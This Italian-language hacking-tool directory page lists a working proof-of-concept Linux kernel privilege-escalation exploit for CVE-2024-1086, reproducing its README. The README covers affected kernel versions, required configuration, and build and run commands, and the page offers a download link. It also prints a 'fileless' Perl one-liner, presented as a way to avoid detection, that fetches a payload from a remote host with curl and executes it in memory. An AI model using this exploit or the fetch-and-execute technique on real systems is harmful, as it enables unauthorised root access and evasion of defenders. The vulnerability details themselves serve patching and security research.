Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-1086 — Exploit Proof-of-Concept universale per l'escalation locale dei privilegi per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra la v5.14 e la v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99.4% nelle immagini KernelCTF. | Kitploit
Strumenti/GitHubGitHub/notselwyn/cve-2024-1086
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingPaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubnotselwyn/cve-2024-1086

CVE-2024-1086

Exploit Proof-of-Concept universale per l'escalation locale dei privilegi per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra la v5.14 e la v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99.4% nelle immagini KernelCTF.

Vedi Repository
2.5k3302 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2024-1086

Proof-of-Concept universale per l'escalation locale dei privilegi per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra v5.14 e v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99,4% nelle immagini KernelCTF.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Articolo del blog / Write-up

Un'analisi completa dell'exploit - incluse informazioni di base e un sacco di diagrammi utili - è disponibile nell'articolo del blog Flipping Pages.

Versioni interessate

L'exploit interessa le versioni dalla v5.14 (inclusa) alla v6.6 (inclusa), escludendo i rami corretti v5.15.149>, v6.1.76>, v6.6.15>. La patch per queste versioni è stata rilasciata a febbraio 2024. La vulnerabilità sottostante interessa tutte le versioni (esclusi i rami stabili corretti) dalla v3.15 alla v6.8-rc1.

Avvertenze:

  • L'exploit non funziona sui kernel v6.4> con kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluso Ubuntu v6.5)
  • L'exploit richiede i namespace utente (kconfig CONFIG_USER_NS=y), che tali namespace utente siano non privilegiati (comando sh sysctl kernel.unprivileged_userns_clone = 1) e che nf_tables sia abilitato (kconfig CONFIG_NF_TABLES=y). Di default, tutto ciò è abilitato su Debian, Ubuntu e KernelCTF. Altre distribuzioni non sono state testate, ma potrebbero funzionare. Inoltre, l'exploit è stato testato solo su x64/amd64.
  • L'exploit può essere molto instabile su sistemi con molta attività di rete
    • I sistemi con scheda WiFi, quando circondati da reti WiFi ad alto utilizzo, saranno molto instabili.
    • Sui dispositivi di test, si prega di disattivare le schede WiFi tramite BIOS.
  • Il kernel panic (crash di sistema) dopo l'esecuzione dell'exploit è un effetto collaterale che non è stato volutamente corretto per prevenire un uso dannoso dell'exploit (ossia i tentativi di sfruttamento dovrebbero ora essere più evidenti e poco pratici nelle operazioni del mondo reale). Nonostante ciò, consente comunque una proof-of-concept funzionante in ambienti di laboratorio, poiché la shell di root è funzionante e la persistenza tramite disco è possibile.

Utilizzo

Configurazione

I valori predefiniti dovrebbero funzionare subito su Debian, Ubuntu e KernelCTF con una shell locale. Su configurazioni/distribuzioni non testate, assicurarsi che i valori kconfig corrispondano al kernel di destinazione. Questi possono essere specificati in src/config.h. Se si esegue l'exploit su una macchina con più di 32GiB di memoria fisica, assicurarsi di aumentare CONFIG_PHYS_MEM. Se si esegue l'exploit tramite SSH (sulla macchina di test) o una reverse shell, potrebbe essere utile impostare CONFIG_REDIRECT_LOG su 1 per evitare attività di rete non necessarie.

Compilazione

Se questo non è pratico per te, è disponibile un binario x64 compilato con la configurazione predefinita.

root@kitploit:~
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binario: CVE-2024-1086/exploit

Esecuzione

Eseguire l'exploit è altrettanto banale:

root@kitploit:~
./exploit

È supportata anche l'esecuzione senza file, per situazioni di penetration test in cui è necessario evitare rilevamenti. Tuttavia, Perl deve essere installato sul target:

root@kitploit:~
perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Disclaimer

I programmi e gli script ("programmi") in questa directory/cartella/repository di software ("repository") sono pubblicati, sviluppati e distribuiti solo per scopi educativi/di ricerca. Io ("il creatore") non approvo alcun uso dannoso o illegale dei programmi in questa repository, poiché l'intento è condividere ricerca e non compiere attività illegali con essa. Non sono legalmente responsabile per qualsiasi cosa tu faccia con i programmi in questa repository.

Scarica lo strumento